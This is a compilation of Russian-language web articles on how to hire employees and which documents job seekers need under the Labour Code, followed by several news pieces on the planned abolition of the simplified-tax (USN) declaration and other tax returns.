Факт знакомства с «местными» правилами удобно фиксировать в специальном журнале, составленном в табличной форме. Типового бланка нет. Оформите его самостоятельно. Можете ориентироваться на наш вариант.

Кстати: со штатным расписанием знакомить вновь устроенных не обязательно. Подобный документ совсем не регулирует рабочий процесс. Исключение — ситуация, когда вы прямо предусмотрели знакомство со штаткой в каком-либо внутреннем документе фирмы. Смотрите на эту тему письмо Роструда от 15.05.2014 № ПГ/4653-6-1.

На этапе знакомства с компанией обговорите все основные моменты будущей работы с соискателем. В частности, вводится ли для новичка испытательный срок.

Оформить сотрудника на работу вы можете бесплатно в программе Бухсофт.

Оформить сотрудника

Что учесть при заключении соглашения с соискателем

После ознакомления со всем рабочим процессом подпишите соглашение с соискателем в двух экземплярах. Один — для него, другой — для компании. Сделать это нужно не позднее трех дней с того дня, когда человек приступил к работе. Каждый экземпляр визируют обе стороны. Такие правила — в части 1 статьи 67 ТК.

Форма договора в общем случае — свободная. Но к содержанию есть законодательные требования. Обязательные сведения и условия для ТД найдете в главах 10 и 11 ТК. Например, это сведения о должности, режиме работы, заработной плате и т. д. Должность обязательно укажите как в штатке. Нельзя принимать человека на позицию, которой нет в расписании. Это следует из статьи 57 ТК и подтверждено Рострудом в письме от 21.01.2014 № ПГ/13229-6-1.

Микропредприятия могут использовать типовой бланк договора. Таковой утвержден постановлением Правительства от 27.08.2016 № 858. При этом «малыши» могут исключить из шаблона пункты, которые они не заполняют из-за специфики предлагаемой работы. А также убрать ненужные примечания к тексту (письмо Минтруда от 30.06.2017 № 14-1/В-591).

Приятный бонус: если субъект МП подписывает с сотрудниками типовые соглашения, то разрешено сократить кадровый документооборот. А именно частично или полностью отказаться от таких НПА, как Правила трудового распорядка, Положение об оплате труда и о премировании. Можно не составлять график сменности и отпусков, другие локальные акты по труду. Так следует из статей 309.1 и 309.2 ТК.

Контракт — непосредственное основание для приема на работу. Заявление с просьбой трудоустройства, составляемое соискателем в произвольном виде, в принципе излишне. Но ошибкой не будет. На нем можно делать при необходимости полезные служебные пометки: резолюцию директора, визу непосредственного начальника, «галки» об исполнении. Если заявление составлено, подшейте его в личное дело сотрудника.

Что включить в приказ о приеме и где взять шаблон формы

На основании подписанного договора нужно оформить приказ руководителя о включении в штат новичка. Для этого можно взять унифицированную форму № Т-1. Образец мы заполнили. Или самостоятельно разработанный бланк — при условии, что в нем есть все необходимые реквизиты из Закона о бухучете от 06.12.2011 № 402-ФЗ. Выбранный вариант обязательно закрепите в своей «учетке». Если в один день вы устраиваете несколько человек, вам подойдет сводная форма № Т-1а.

В любом случае содержание документа должно строго соответствовать условиям договора. Об этом сказано в части 1 статьи 68 ТК. В частности, дата принятия на работу в приказе должна соответствовать дате из соглашения. Исключение — случай, когда сотрудник начал трудиться без оформления ТД.

Сверьте сведения о структурном подразделении и должности. Перепроверьте информацию о том, на какую работу принимается человек — на основную или нет. Проверьте числовые показатели — размер оклада (тарифной ставки) и надбавок. В приказе приводится период испытательного срока, если стороны согласовали условие об испытании.

От имени работодателя приказ может завизировать директор либо другое уполномоченное им лицо со ссылкой на доверенность — основание подписания. Сотрудника ознакомьте с приказом под подпись в трехдневный срок с того дня, когда он фактически приступил к работе.

Обязательно ли заполнять трудовую в 2019 году

Наличие трудовой книжки обязательно. После того как издан приказ, сделайте запись в ней о приеме на должность новоиспеченного сотрудника. 

Если ваша фирма первая, где работает сотрудник, оформите ему книжку сами (ч. 4 ст. 65 ТК). Для этого человек пишет заявление в произвольной форме.

Если сотрудник — совместитель, то соответствующие сведения вносятся в трудовую лишь по его просьбе. Плюс делается это на основании документа, который подтвердит, что сотрудник работает где-то еще. Это может быть справка, копия контракта или приказа о приеме на работу.

Более того, работодатели обязаны вести учет книжек. Для этого используют спецкниги. Первая — приходно-расходная, по учету самих бланков и вкладышей в них. В этом регистре фиксируются все операции по получению и расходованию бланков, с указанием серии и номера каждого. Вторая — книга учета движения указанных бумаг. В этот регистр вносите как вновь выданные трудовые, так и те, что приняты от сотрудников при заступлении на работу (приложения 2 и 3 к постановлению Минтруда от 10.10.2003 № 69).

Можно ли обойтись без личных карточек

Открыть личную карточку и внести в нее первые сведения — это обязательный последний этап кадровой стороны трудоустройства.

Обычно используют типовую форму. Заполнение идет на основании трудовой книжки и других персональных документов сотрудника.

Хранить дело нужно минимум 50 лет.

Особенности приема на работу по ТК РФ гендиректора

Для заключения трудового договора с гендиром собственник фирмы должен принять решение о его избрании (назначении). Вместо решения будет протокол общего собрания, если учредителей несколько. Либо решение совета директоров или наблюдательного совета — при наличии в компании данного органа. Так предусмотрено законами от 26.12.95 № 208-ФЗ и от 08.02.98 № 14-ФЗ.

Назначение директора максимально сверьте с процедурой, изложенной в уставных документах компании. Любое нарушение может быть чревато.

Трудовой договор с руководителем имеет ряд особенностей. А именно может заключаться на срок не более пяти лет (ст. 58, 59 и 275 ТК). Возможный испытательный период — удлиненный по сравнению с обычным. И составляет до шести месяцев (ч. 5 ст. 70 ТК). Условие об испытании может быть установлено только в том случае, если гендир назначен, а не избран на должность по конкурсу (ч. 4 ст. 70 ТК). Договор с главным может предусматривать дополнительные основания для его расторжения.

Приказ о приеме генерального издайте по форме № Т-1 или в свободной форме — смотря какую применяет компания. При этом первым приказом главного должен быть приказ о вступлении в должность. Обычно с формулировкой: «Во исполнение решения акционеров (участников) приступаю к исполнению обязанностей с такого-то числа».

Подпишитесь на «Упрощенку» н

www.26-2.ru

Какие документы нужны для устройства на работу

Трудоустройство – это система организационных, экономических и правовых мер, направленных на обеспечение трудовой занятости населения, включая содействие в поиске и получении работы.

Каждому гражданину хотя бы раз в жизни приходилось устраиваться на работу. По правилам приема на работу работников соискателю необходимо собрать определенный пакет документов.

Бесплатная консультация юриста по телефону

Задать вопрос юристу

По Москве и Московской области

Санкт-Петербург и область

Федеральный номер

Некоторые из них являются обязательными и будут требоваться в любой компании. Другие предоставлять в целом не обязательно, но в конкретной организации могут потребовать их предоставить, в зависимости от рода деятельности. О том какие документы потребуются при трудоустройстве пойдёт речь в нашей статье.

Документы для официального трудоустройства

Статьей 65 Трудового Кодекса Российской Федерации установлен перечень документов, которые могут запросить при приеме на работу:

  • Паспорт.
  • Трудовая книжка.
  • Документ об образовании.
  • Документ воинского учета для военнообязанных и тех, кто по возрасту подлежит призыву на воинскую службу.
  • ИНН — Идентификационный номер налогоплательщика.
  • Пенсионное страховое свидетельство.
  • Медицинская книжка.

Процедура приёма на работу

  1. Сначала происходит предъявление будущим работником документов, которые были рассмотрены выше, работодателю, и заполнение заявления о приёме на работу.
  2. Работодатель какое-то время рассматривает заявление, чаще всего вызывает будущего работника на собеседование.
  3. Далее работодатель ознакомляет работника с актами работы и коллективным договором, если таковой имеется.
  4. Работник подписывает трудовой договор, подтверждая его прочтение и принимая ответственность за свою работу.
  5. Работнику обязательно вручается его экземпляр трудового договора.
  6. После заключения договора издаётся и регистрируется приказ о приёме на работу.
  7. Работник читает приказ и ставит под ним свою подпись.
  8. Приём на работу записывается в трудовую книжку.
  9. Далее оформляется личная карточка работника и его включение в таблицу учёта.

Большей частью документов занимается начальство и уполномоченные работники «под рукой» будущего начальника.

Получение документов

  1. Книжку о трудовой деятельности получают у работодателя после официального принятия на работу и подписи (заключения) трудового договора. Она будет заполнена со всеми требованиями и стандартами, но не вами самостоятельно.
  2. Документы об образовании — это аттестат и диплом.
  3. Для получения документа воинского учёта — военного билета — понадобятся:
    • 2 экземпляра заранее составленных заявлений.
    • 2 фотографии на матовой бумаге, размер — 2.5х3.5.
    • Оригинал паспорта.
    • Копия страниц паспорта 2,3 и 5 на одном листе.
    • Оригинал и копия свидетельства об образовании.
    • Оригинал и копия прав на вождение, если имеются.
    • Лист медицинской комиссии с заключением об общем состоянии человека.

При получении билета обязательно полностью читайте всё, что подписываете, задавайте вопросы, если вам что-то неясно. Ни в коем случае не соглашайтесь на дополнительное обследование якобы в обязательном порядке и не сообщайте какие-либо дополнительные данные о себе, кроме тех, что требует заявление! Также рекомендуется тщательно изучить статью 51 Конституции РФ!

ИНН можно получить в налоговой службе по вашему месту жительства, лучше заранее найти нужный адрес в интернете.

Далее, следуйте простым правилам:

  • Возьмите с собой оригинал и копию 1,2,3 и 5 страниц паспорта на отдельных листах;
  • Стандартный бланк можете заполнить на месте или принести уже готовый;

Сдайте заявление и подождите 5 рабочих дней. По истечении времени, ИНН будет вам выдан.

  1. Пенсионное удостоверение можно получить даже в интернете, заполнив на сайте гос. услуг соответствующее заявление. Через несколько дней вам придёт уведомление о готовности удостоверения, а получить его можно в ближайшем Пенсионном фонде. Однако не забудьте захватить с собой паспорт!
  2. Приобрести медицинскую книжку можно в любом отделении госэпидемнадзора — «СЭС». Возьмите с собой цветную или чёрно-белую фотографию 3х4, паспорт и деньги. В кассе оплатите бланк медкнижки и заполните его, получите квитанцию, далее, следуйте этому плану:
    • Предъявите сотруднику СЭС оплаченную квитанцию, фото и паспорт.
    • Укажите номер паспорта и день, когда вам удобно забрать санкнижку.
    • В назначенный день заберите готовую книжку и получите направление в медкомиссию.
    • Пройти медкомиссию можно в любом мед. учреждении.
    • Обязательно сохраняйте все квитанции и чеки, чтобы после получить деньги назад от своего работодателя!
    • Обычно комиссия требует сдать санитарный минимум — он проходит в виде теста на знание санитарных норм.

Какие документы нужны для трудоустройства несовершеннолетним

Заранее отметим, что несовершеннолетним считается любой человек в возрасте до 18 лет включительно!

  • Согласие хотя бы одного родителя или лица его заменяющего: опекуна, мачехи, отчима.
  • Согласие из местного органа опеки и попечительства.
  • Лица, которым исполнилось 15 лет, предъявляют аттестат об общем образовании (выдаётся по окончании 9 класса, после сдачи всех необходимых экзаменов).
  • Документ, в котором обозначен план занятий или их расписание.
  • Медицинская справка о прохождении осмотра. Получить можно у педиатра.

Основные документы для трудоустройства граждан СНГ

  • Паспорт или иной документ, подтверждающий личность.
  • Миграционная карта.
  • Чек об уплате госпошлины.

Получить миграционную карту можно: 

  • при пересечении границы РФ авиатранспортом — у сотрудников экипажа;
  • водным (морские и речные пути) — у членов экипажа судна;
  • на поезде — у сотрудников экипажа поезда;
  • на автобусе — у водителя;
  • своим ходом (автомобиль, велосипед, хоть пешком) — у сотрудников таможенной службы;

Если вы не успели или забыли заполнить карту «по дороге», то сделайте это в зале прибытия на вокзал или станцию перед прохождением миграционного контроля. Карта выдаётся бесплатно!

Оплатить госпошлину можно в государственном банке («Сбербанк», например), через интернет или через почту. Чек, подтверждающий оплату госпошлины, нужен именно в оригинале!

Когда трудовая книжка не нужна

Конечно же, есть ряд ситуаций, когда вы можете не подавать трудовую книжку:

  1. Если сотрудник был принят на работу впервые.
  2. Наличие повреждений трудовой книжки, или её потеря.
  3. Трудоустройство осуществляется по совместительству (неполный рабочий день).
  4. Сотрудник не хочет, чтобы работа была занесена в трудовую книжку (да, такое тоже возможно).

Какие дополнительные документы лучше подготовить

Бесплатная консультация юриста по телефону

Задать вопрос юристу

По Москве и Московской области

Санкт-Петербург и область

Федеральный номер

Иногда работодатель может потребовать от сотрудника ряд второстепенных документов.

Лучше быть заранее готовым к таким заявлениям.

  1. Заявление о приеме на работу (внимательно заполняйте его, читайте полностью).
  2. Фотография. Конечно, это будет паспортное фото, лучше запастись парочкой лишних экземпляров.
  3. Справка о доходах по форме 2-НДФЛ. Такая справка выдаётся только самим работодателем работнику, она содержит сведения о доходе, налогах, информацию о начальнике и работнике.
  4. Характеристика с предыдущего места работы. Подобное заявление пишет предыдущий начальник и ставит под ним свою подпись и печать, указывает адрес компании.
  5. Документы о семейном положении: свидетельство о браке, свидетельство о рождении ребёнка, справка об отсутствии акта гражданского состояния (о безбрачии). Получить её можно у любого юриста.
  6. От иногородних работников может требоваться регистрация по месту временного пребывания.
  7. Оригинал или копия водительского удостоверения.
  8. Документация, которая подтверждает наличие у человека права на получение определенных компенсаций и гарантий.

Документы для работы в муниципальной службе

  1. О расходах работника, его имуществе и имущественных обязательствах. Конечно же, имеются в виду крупные расходы, а не поход за продуктами. Если у работника есть, к примеру, собственный бизнес, то запросто могут потребовать документы на его ведение.
  2. Сведения о супруге работника и его несовершеннолетних детях: свидетельство о браке, о рождении детей, паспорт супруги/супруга, информация о месте работы мужа/жены.
  3. О доходах за год, предшествующий поступлению на работу: справка о доходах за прошедший год выдаётся работодателем или уполномоченным отделом кадров до 1 апреля нового года.

Нюансы при приёме на работу иностранного работника

Существенных нюансов работы в РФ иностранного гражданина всего два. Естественно, плохое знание языка или культуры новой страны не считается за проблему.

  1. Трудовая книжка — это проблема №1. Она оформлена по стандартам Конституции родной страны иностранца, и не подходит для использования в РФ. Кадровый работник может изучить трудовую деятельность нового работника, но не может забирать чужестранную трудовую книжку на хранение, наряду с российскими. В течение 5 рабочих дней работодатель должен позаботиться о заведение на иностранного работника трудовой книжки образца РФ.
  2. Налоги. Если гражданин находится в России менее 183 дней, то НДФЛ с его з/п составляет 30%. Если более, то стандартные 13%. Иногда по этой причине работодатели спрашивают, как долго иностранец пребывает в стране. Иногда, могут отказать в работе.

Что следует взять на собеседование с работодателем

  1. Автобиографию. Нельзя сказать, что этот пункт крайне важен, но во время собеседования он поможет и вам, как заранее подготовленный конспект, и работодателю, как некий более или менее подробный рассказ о новом сотруднике.
  2. Копию трудовой книжки. Если вы впервые устраиваетесь на работу, и ваша трудовая книжка пуста, то смело скажите об этом работодателю заранее, а не ждите удивления на его лице, когда этого документа он не найдёт.
  3. Документы об образовании. Аттестат и диплом, если имеется.
  4. Портфолио, если оно предусмотрено для заявленной вакансии. Как правило, портфолио используется для приёма на работу креативного плана (дизайнер, аниматор, художник и т.д.) или в модельном бизнесе.

Поскольку автобиографию писать нужно обязательно самому, придерживайтесь нижеуказанного плана и старайтесь не слишком вдаваться в ностальгию и не переливать из пустого в порожнее.

Пишите кратко и ясно от первого лица, не забывайте указывать хронологические даты, возраст родителей, место проживания. Придерживайтесь следующего плана:

  • ФИО
  • Место и дата рождения.
  • Краткие сведения об отце и матери: когда родились, где живут, кем работают.
  • Паспортные данные.
  • Настоящий домашний адрес.
  • Образование. Обязательно напишите, сколько классов вы окончили 9 или 11, куда поступили после школы.
  • Пару слов о трудовой деятельности. Не стоит конкретно расписывать бывшие места работы. Названия компании и её адреса будет вполне достаточно.
  • Семейное положение. Несколько слов о супруге (ФИО, возраст, место работы, образование), о детях, сожителях. Если проживаете в одиночестве, то так и пишите.
  • Для мужчин — период воинской службы. Для женщин — сведения о декретных отпусках.
  • Собственные увлечения.
  • Несколько слов о личных наградах, достижениях, успехах. Желательно, тех, которые вы можете подтвердить грамотами, медалями или дипломами.
  • Контакты: домашний и мобильный номера телефонов, адрес электронной почты.
  • Дата написания текста.
  • Личная подпись.

Желательно приклеить или прикрепить к автобиографии своё фото. Необязательно в строгом виде, как на паспорте. Главное — это ваши эмоции на фото. Излучайте оптимизм!

Некоторые люди считают, что первые несколько лет после университета нужно не искать работу и нарабатывать опыт, а составлять портфолио.

Портфолио — это некий список ваших достижений, которые могут пригодиться походу работы, на которую вы хотите устроиться.

Например, вы хотите работать адвокатом и за несколько месяцев до собеседования посещали мастер-класс на эту тему и получили удостоверение об этом. Его как раз обязательно нужно вложить в портфолио!

Если вы хотите быть дизайнером или модельером, то покажите будущему шефу лучшие примеры своих работ. Если моделью — свои самые удачные фотографии.

homeurist.com

Какие документы нужны для трудоустройства

Расскажем о полном наборе документов, которые могут понадобиться на каждом этапе трудоустройства в России.

На GorodRabot много писали о том, как найти работу, пройти собеседование или составить хорошее резюме, но ещё ни разу не углублялись в правовую часть трудоустройства.

Здесь мы постараемся максимально подробно рассказать о том, какие документы необходимы для официального трудоустройства в РФ, а что — прихоть работодателя.

Поиск работы

На этом шаге не требуются какие-либо подтверждающие документы.

Чтобы зарегистрироваться на сайте по поиску вакансий и разместить резюме, не нужно указывать ни паспортных данных, ни ИНН — ничего подобного. Если администрация портала настаивает на предоставлении подтверждающей личность информации (например, скан паспорта), скорее всего вы выбрали не самый надёжный ресурс.

По желанию соискатель вправе приложить отсканированные копии дипломов об образовании к резюме, но это не обязательно.

Собеседование

Именно на этом этапе трудоустройства реализуется большинство мошеннических схем рынка труда.

Обычно кандидату не нужно иметь при себе никаких документов — даже распечатанного резюме. Исключение составляют особо охраняемые и стратегические объекты — здесь вправе попросить паспорт для пропуска на КПП, не более.

Ни в коем случае не указывайте персональные данные в анкете соискателя, которую часто предлагают заполнить перед собеседованием работодатели-аферисты. Подробнее о возможных способах обмана соискателей здесь.

В случае если специалист по кадрам просит предоставить подтверждение об образовании, то есть принести диплом — запомните, отсканированной копии будет достаточно.

Выход на работу

Для официального трудоустройства требуется целый набор оригинальных документов, который различается в зависимости от сферы занятости и гражданства сотрудника. А теперь подробнее.

Устраиваясь на работу, необходимо предоставить главный гражданский документ. Если по какой-либо причине паспорт отсутствует, его можно заменить другим документом с фотографией и удостоверяющей личность информацией. Например, загранпаспорт или водительские права тоже подойдут.

По закону Российской Федерации, гражданин, не являющийся индивидуальным предпринимателем, не обязан оформлять Индивидуальный номер налогоплательщика. Поэтому работодатель не может требовать ИНН у сотрудника.

Пенсионное свидетельство

При первичном трудоустройстве оформление свидетельства государственного пенсионного страхования — забота работодателя. В другом случае работник уже имеет на руках данный документ.

  • Трудовая книжка

Согласно Статье 66 Трудового Кодекса РФ, трудовая книжка  должна быть у каждого сотрудника при условии, что данное место трудоустройства является основным и он проработал более 5 дней. Однако работодатель не вправе требовать трудовую книжку, если работник трудится по совместительству.

Трудовую книжку можно купить в любом киоске печати.

  • Дипломы и сертификаты об образовании

Оригиналы дипломов необходимы для подтверждения узкопрофильных профессий и специальных навыков. При трудоустройстве не по специальности — подтверждающие компетентность документы не нужны.

  • Воинский учёт

Для официального трудоустройства военнообязанные граждане, в России это мужчины возрастом от 18 до 27 лет, должны предоставить работодателю документы воинского учёта.

Медицинская книжка является обязательным документом только в нескольких сферах деятельности, а именно — в торговле, образовании, медицине и в сфере общепита. В остальных случаях данный документ не нужен.

Медкнижка выдаётся Центром государственного санитарно-эпидемиологического надзора. Отсутствие документа при устройстве на работу в вышеперечисленных сферах может стать причиной для отказа кандидату.

  • Регистрация по месту пребывания

Особенно этот вопрос касается трудовых мигрантов из Украины и других стран ближнего, и дальнего зарубежья. Согласно ТК РФ, работодатель не может отказать в трудоустройстве гражданину РФ без регистрации, но вправе не принять на работу иностранного гражданина без свидетельства о регистрации в России.

В исключительных случаях закон предусматривает право работодателя запросить дополнительные документы для составления трудового договора. Полный список документов, необходимых для правового оформления трудовых отношений, перечислен в Статье 65 ТК РФ.

Запомните, работодатель не вправе требовать другие документы, не закреплённые законом.

gorodrabot.ru

Отмена декларации по усн – Для кого отменят декларацию по УСН уже в следующем году?

Для кого отменят декларацию по УСН уже в следующем году?

Какой предприниматель хоть раз не мечтал о том, что он больше не будет сдавать декларации, судорожно искать причину ошибки или недостающую сумму? А теперь представьте, что ваша мечта скоро сбудется и вам не придется отчитываться за этот год. Шутки в сторону – некоторым действительно отменят необходимость сдавать декларацию по УСН (упрощенной системе налогообложения) в 2020 году. Это уже подтвердили Минфин и ФНС России.

Кого это касается?
В прошлом году Минфин России опубликовал Основные направления налоговой политики на 2019-2021 годы. Где упоминалось о том, что планируется отменить обязанность отчитываться по УСН для компаний с объектом “доходы” и использующими кассовую технику, обеспечивающую передачу фискальных данных в налоговые органы в режиме «онлайн» .
Позже глава ФНС России Михаил Мишустин на коллегии налоговых органов дал свой комментарий по этому поводу. Он отметил, что скоро будет рассматриваться законопроект об отмене представления декларации по УСН и ведения книги учета доходов. Благодаря этому 800 тысяч упрощенцев смогут не сдавать отчетность по УСН. Информацию для расчета налога инспекции будут получать с помощью онлайн-касс.

Новый режим “УСН-онлайн”
Сейчас разговоров на эту тему все больше. На днях на одном из федеральных телеканалов заместитель руководителя ФНС России Дмитрий Сатин рассказал о том, что планируется апгрейд системы упрощенки. Это когда предприниматель в скором времени сможет выбрать для себя режим «УСН-Онлайн», а исчислять налог за него будет налоговый орган на основании информации из онлайн-кассы. Это плюс как для индивидуальных предпринимателей, так и для налоговых органов.

Налоговая инспекция самостоятельно рассчитает сумму налога по данным, которые передают онлайн-кассы, и пришлет уведомление на уплату

Послабления в администрировании стали возможны благодаря современным технологиям, которые ФНС России активно внедряет уже несколько лет. Простота регистрации, уплаты налогов и общения с инспекцией – приоритетные вопросы для бизнеса, которые ФНС учитывает при внедрении «УСН-онлайн».
Действительно, с внедрением онлайн-касс налоговики могут отслеживать все поступления денег в кассу и на расчетный счет налогоплательщика. Значит, инспекторы смогут сами рассчитать налог, который должны оплатить такие налогоплательщики, и проверить, насколько правильно он был оплачен. В этом случае, по мнению чиновников, в сдаче отчетности уже нет необходимости.

Итоги:

  1. Должен появиться новый режим «УСН-онлайн». Те, кто сможет ему соответствовать, не будут сдавать отчетность и рассчитывать налог будет инспекция. Скорее всего он коснется тех упрощенцев, кто выбрал объект «доходы» и применяет онлайн-кассу. Для упрощенцев с объектом «доходы минус расходы» обязанность сдавать декларацию по УСН вряд ли отменят. Дело в том, что даже если они используют онлайн-кассу, рассчитывать налог им приходится сложнее. Ведь они уменьшают доходы на расходы из утвержденного перечня, а инспекторы не имеют данных об этих расходах.
  2. Начиная с отчетности за 2019 год декларацию по УСН отменят только при применении онлай-кассы с передачей чеков в ФНС через оператора фискальных данных. Если касса работает в автономном режиме – освобождения не будет.
  3. Пока точно неизвестно для кого будет отменена декларация по УСН: для организаций и индивидуальных предпринимателей (ИП) или только для ИП. Но в последнее время чиновники в своих выступлениях упоминают слово «предприниматели». Ждем текст законопроекта с изменениями в Налоговый кодекс РФ, который, думаем, не заставит себя долго ждать.

taxnet.ru

Отмена декларации по УСН 2019

Обновление: 13 июня 2019 г.

Президент России В.В.Путин подписал Закон от 15.04.2019 N 63-ФЗ об отмене трех налоговых деклараций. Какие именно отчеты не нужно будет представлять в ИФНС, расскажем в данной консультации.

Отмена декларации по транспортному и земельному налогу

Чиновники отменили налоговые декларации по транспортному налогу, а также по земельному налогу. Данные поправки были внесены в Налоговый Кодекс Федеральным законом от 15.04.2019 N 63-ФЗ. Начиная с 1 января 2021 года, организациям больше не нужно будет сдавать в ИФНС налоговые декларации по транспортному и земельному налогу (п. 17, п. 26 ст. 1 Закона от 15.04.2019 N 63-ФЗ).

Инспекторы сами будут направлять компаниям, владеющим транспортными средствами и земельными участками, сообщения об исчисленных суммах налогов. Сообщения о величине транспортного и земельного налога будут направляться организациям в электронной форме через оператора электронного документооборота или через личный кабинет налогоплательщика. Также сообщение о сумме налога может быть направлено заказным письмом по почте или передано уполномоченному представителю компании лично под расписку (п. 16, п. 25 ст. 1 Закона от 15.04.2019 N 63-ФЗ).

Отмена формы 4-НДФЛ

Также законодатели отменили налоговую декларацию о предполагаемом доходе к получению ИП. Начиная с 1 января 2020 года сдавать декларацию по форме 4-НДФЛ предпринимателям больше не нужно (п. 7 ст. 1 Закона от 15.04.2019 N 63-ФЗ).

Предприниматели будут самостоятельно исчислять сумму авансовых платежей исходя из ставки налога, величины фактически полученных доходов, налоговых вычетов, с учетом ранее исчисленных сумм авансовых платежей по итогам квартала, полугодия и девяти месяцев (п. 7 ст. 1 Закона от 15.04.2019 N 63-ФЗ).

Уплачивать авансовые платежи ИП будут должны не позднее 25-го числа месяца, следующего соответственно за кварталом, полугодием и девятью месяцами (п. 7 ст. 1 Закона от 15.04.2019 N 63-ФЗ).

Отмена декларации по УСН 2019

Одним из изменений, которые также запланировали законодатели с 2019 года, являлась отмена налоговой декларации по налогу, уплачиваемому в связи с применением упрощенной системы налогообложения. Отмена декларации по УСН должна была коснуться упрощенцев с объектом налогообложения «доходы».

На сайте Минфина уже опубликован проект об отмене декларации по УСН для плательщиков налога с объектом налогообложения «доходы», которые применяют онлайн-кассы (подп. 3.1 п. 3 Проекта Минфина России основных направлений бюджетной, налоговой и таможенно-тарифной политики на 2019 год и на плановый период 2020 и 2021 годов по состоянию на 11.07.2018). Но пока это только проект.

Также читайте:

glavkniga.ru

Отменяется декларация по УСН с 2019 года

УСН является востребованным режимом налогообложения, который относится к упрощенным системам. Он может использоваться как компаниями, так и частными предпринимателями.

В правила его применения постоянно вносятся разные изменения, причем с 2019 года придется налогоплательщикам столкнуться с некоторыми серьезными нововведениями.

Кому не надо сдавать декларацию по УСН

Минфин опубликовал на Федеральном Портале Правовых Актов специальную инициативу, на основании которой планируется упростить процесс составления отчетности всеми компаниями или ИП, которые пользуются во время работы режимом налогообложения УСН.

Такие послабления будут действовать только по отношению к налогоплательщикам, которые пользуются ККТ во время работы. В этом случае все сведения о результатах их деятельности передаются через оператора в автоматическом режиме.

К нюансам таких нововведений относится:

  • освобождаются налогоплательщики от необходимости подготовки и сдачи декларации УСН, если они применяют онлайн-кассы, поэтому все сведения о разных операциях передаются в ФНС автоматически;
  • онлайн-кассы используются обычно только в области розничной торговли;
  • такие послабления обусловлены тем, что новейшие ККТ и так передают сведения налоговым инспекторам, которые могут быть ими получены из декларации, поэтому без сложностей начисляется налог;
  • налоговики могут автоматически списывать нужное количество денег в счет уплаты налога с расчетного счета фирмы или ИП, а также могут выставлять соответствующее требование.

Будет ли отменена декларация по УСН? Ответ в видео:

Хотя отмена необходимости сдавать декларацию позволяет упростить работу многих предпринимателей, все равно специалисты уверены, что это приведет к некоторым сложностям и дополнительным вопросам.

Если фирмы или ИП не применяют онлайн-кассу, то они будут вынуждены на прежних условиях сдавать декларации УСН.

Когда закон вступит в силу

На основании законопроекта изменения будут применяться с начала 2019 года.

Поэтому многие налогоплательщики смогут не сдавать декларацию даже за 2018 год, но только при условии, что в течение данного налогового периода они действительно пользовались онлайн-кассой.

Первоначальной освобождение будет получено индивидуальными предпринимателями, пользующимися УСН «Доходы», а только потом воспользоваться таким послаблением смогут компании.

Если ИП или фирма применяют УСН «Доходы минус расходы», то они все равно будут вынуждены ежегодно сдавать декларацию, так как за счет использования онлайн-кассы невозможно оповестить в автоматическом режиме налоговиков о разных затратах, которые уменьшают налоговую базу

Когда нужно сдавать декларацию на УСН?

Поэтому для таких налогоплательщиков сдача декларации является обязательным процессом. Если компании или ИП пользовались онлайн-кассой не весь 2018 год, а несколько месяцев, все равно придется сдавать декларацию.

Обязательно ли иметь онлайн-кассу при выдаче займа? Узнаете здесь.

Это обусловлено тем, что некоторые сведения о получаемых доходах отсутствуют у работников ФНС.

Особенности работы с ККМ

Чтобы сотрудники ФНС смогли самостоятельно рассчитывать налоговую базу и размер сбора, они должны получать сведения от налогоплательщика о том, какое количество средств было получено организацией или ИП в процессе ведения деятельности.

Поэтому рассчитывать на освобождение от составления декларации могут исключительно фирмы или ИП, которые следуют новым правилам работы с применением ККТ. Такие правила закрепляются в Приказе ФНС № ММВ-7-20/207@. Он был принят еще в апреле 2018 года.

Упрощенцы с начала следующего года должны внести некоторые правки в реквизиты чеков, выдаваемых покупателям. Чеки следует пробивать при совершении абсолютно любой операции, чтобы налоговики смогли правильно определить налоговую базу, необходимую для расчета налога.

Декларация на УСН.

До внесения изменений не требовалось выбивать чеки, если совершались операции, связанные с покупкой дивидендов, перечислением разных взносов или уплатой штрафов или пеней покупателями.

Какой лимит установлен при применении УСН? Смотрите тут.

Дополнительно не требуются чеки при безвозмездном поступлении денежных средств или получении пособий. В связи с новыми изменениями теперь налогоплательщики обязаны выбивать чеки по всем поступлениям средств.

Это приведет к значительному увеличению нагрузки на кассиров, но при этом предпринимателям не придется заниматься составлением годовой отчетности. Поэтому ИП могут сэкономить на оплате труда профессиональных бухгалтеров.

Заключение

Декларации по УСН должны сдаваться ежегодно всеми ИП или фирмами, которые пользуются данным налоговым режимом. Но с 2019 года вводятся изменения, позволяющие не составлять и не сдавать в ФНС данную отчетность.

Как заполнить декларацию по УСН? Смотрите видео:

Воспользоваться такой возможностью смогут только налогоплательщики, применяющие систему «Доходы», а также использующие во время работы онлайн-кассу.

Такие изменения позволяют сэкономить время на составление отчета, но они увеличивают расходы времени и средств на регулярное создание чеков по всем совершаемым операциям.

fbm.ru

Отмена делкраций по УСН в 2020 году: последние новости

Правда ли, что с 2020 года для ИП и организаций отменили сдачу деклараций по УСН? Ответим на вопрос и приведем комментарии.

Как сейчас сдают декларации по УСН

Все упрощенцы обязаны ежегодно подавать декларацию по УСН. Крайний срок для организаций – 31 марта следующего года. Для предпринимателей – 30 апреля следующего года (ст. 346.23 НК).

Также все упрощенцы обязаны заполнять Книгу учета доходов и расходов. Книга учета доходов и расходов предназначена для правильного формирования налоговой базы по налогу при упрощенке. Поэтому в ней необязательно отражать хозяйственные операции, не влияющие на расчет налога. Это следует из положений статьи 346.24 НК.

Отмена отчетности по УСН с 2020 года: цель Минфина

Важная поправка, запланированная законодателями с 2020 года – отмена налоговой декларации по налогу, уплачиваемому в связи с применением упрощенной системы налогообложения. Отмена декларации по УСН должна коснуться упрощенцев с объектом налогообложения «доходы».

На сайте Минфина был опубликован проект об отмене декларации по УСН для плательщиков налога с объектом налогообложения «доходы», которые применяют онлайн-кассы (подп. 3.1 п. 3 Проекта Минфина России основных направлений бюджетной, налоговой и таможенно-тарифной политики на 2019 год и на плановый период 2020 и 2021 годов по состоянию на 11.07.2018).

См. сайт Минфина

См. Законопроект на стадии разработки Минфина

Как хочет сделать Минфин

Упрощенцы, которые перешли на новый режим «УСН онлайн», не подают ежегодные декларации.

Для этого Минфин планирует ввести новый режим УСН-онлайн. Он будет доступен для тех налогоплательщиков, которые используют онлайн-ККТ. Эти организации и ИП не будут подавать налоговую декларацию и заполнять Книгу учета. При этом все доходы они проводить через онлайн-ККТ и передавать информацию в ИФНС. Чтобы перейти на новый режим, упрощенцы должны будут подать специальное заявление в ИФНС.

Налоговую декларацию по УСН смогут не подавать те налогоплательщики, которые перешли на новый режим УСН онлайн. Они должны будут все доходы, а не только денежные, пробивать на онлайн-ККТ. Зато Книгу учета им вести не придется.

